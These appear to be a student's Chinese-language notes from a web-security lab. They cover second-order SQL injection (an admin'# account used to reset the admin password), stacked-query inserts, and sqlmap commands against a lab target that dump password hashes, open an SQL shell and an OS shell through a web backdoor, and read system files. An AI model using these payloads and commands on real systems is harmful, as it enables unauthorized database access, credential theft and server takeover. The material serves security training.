二次盲注
⼆次注⼊是指已存储(数据库、⽂件)的⽤户输⼊被读取后,再次进⼊到SQL查询语句中导致 的注⼊
几乎所有任何网站后台都有一个用户叫admin 密码123456 先注册一个新的用户
admin-123456


碰撞用户账户
-刺探成功

我自己去注册一个 admin'#

登录admin'#,然后修改密码--记一下改后的是456789
-这是之前
刷新后,改变的是admin的密码,admin'#没有变

查看原因
源码 \bbs\member\updatePwd.php

bash
update users set password=md5('123456')wherename='admin'#'
简单来说就是sql的数据库语法 注释掉后面的内容 比如# 还有一个--也是
堆叠注入
在SQL数据库中,每条语句是以;分开的,堆叠注⼊就是⼀次性注⼊并执⾏多条语句(多语句之间以分号 隔开)的注⼊⽅式。(故事:地铁出站套票⼀次性进两个⼈)
union联合查询注⼊执⾏的语句类型是有限的,可以⽤来执⾏查询语句。堆叠注⼊可以执⾏的是任意的语句,如增删改等


要堆叠,知道那个表结构用前面知识点获取表名字段名
然后
sql
?id=2;insert into users (name,password) values('ddd',md5('ddd'));
堆叠不止 insert 还有delete 还有update
SQLMap
sqlmap是⼀个开源的渗透测试⼯具,它可以⾃动化检测和利⽤SQL注⼊漏洞并接管数据库服务器。它有 ⼀个强⼤的检测引擎,许多适合于终极渗透测试的良好特性和众多的操作选项 如果平时要探测bbs这个网站 这不得看看自己物理机ip
##SQLMap检测漏洞--探测目标网站有没有sql注入漏洞
kali
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1'

有这些东西 就代表着这些东西漏洞都是存在的--PHP具体版本 Apache
查询bbs网站当前数据库;当前数据库 --current-db
kali
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' --current-db

查看bbs网站的库有哪些表
kali
sqlmap -u 'http://192.168.220.1/bbs/showmessage.php?id=1' -D jrlt --tables

当前表有哪些字段 列
kali
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' -D jrlt -T users --columns

列出内容
kali
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' -D jrlt -T users -C password --dump#卡住的话不停的敲回⻋输⼊y
过程就是y到底,有一个选择字典,直接回车就行,然后在努力哈希破解
和老师的不太一样 但是 无所谓了先 得到那些密码
可以后期自己哈希解去 第三个解的很慢是因为我前面 做堆叠的时候改了admin的密码456789


老师的就长这样

扩展操作
lua
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' --sql-shell


退出语句

密码爆破
lua
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' --password


系统命令

lua
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' --os-shell
该靶机的 web 应用技术是PHP 5.4.45,选择与当前 web 语言匹配的 "PHP" 选项,才能成功创建 web 后门并获取操作系统命令行 shell。

文件读取
出了问题
成功版本👇我把这个文件名称改了一下就行了,疑似第一次创的时候带入了奇怪字符或者电脑缓存没到位
arduino
sqlmap -u "http://192.168.20.1/bbs/showmessage.php?id=1" --file-read "E:/e.txt"
中间做的努力有
先执行基础注入命令,确认id参数确实存在 SQL 注入漏洞,避免在无效注入点上尝试高权限操作
lua
sqlmap -u "http://192.168.20.1/bbs/showmessage.php?id=1" --dbs
然后得出
添加-v 3参数(详细输出执行过程),sqlmap 会显示文件读取过程中的具体错误(如「权限不足」「路径被禁止」),方便定位问题
arduino
sqlmap -u "http://192.168.20.1/bbs/showmessage.php?id=1" --file-read "E:/e.txt" -v 3
得出

放弃自定义的e.txt,先尝试读取靶机系统默认存在、且权限宽松的文件,验证文件读取功能是否可用:
bash
sqlmap -u "http://192.168.20.1/bbs/showmessage.php?id=1" --file-read "C:/Windows/win.ini"
文件读取功能本身是正常的(因为成功读到了C:/Windows/win.ini),问题只出在「靶机上的E:/e.txt实际不存在 / 路径错误」
具体分析如下: 能成功读取靶机的C:/Windows/win.ini,说明:
- 数据库用户有
FILE权限 secure_file_priv配置无限制- 操作系统层面的文件读取权限正常 所以改了个名字成功了
回归主题
返回让我访问这个文件的内容
'/root/.local/share/sqlmap/output/192.168.20.1/files/E__test.txt'
文件路径有了
bash
cat '/root/.local/share/sqlmap/output/192.168.20.1/files/E__test.txt'

WAF安全狗
不要再物理机上装安全狗,会拖垮php, 卸载不掉就先这样吧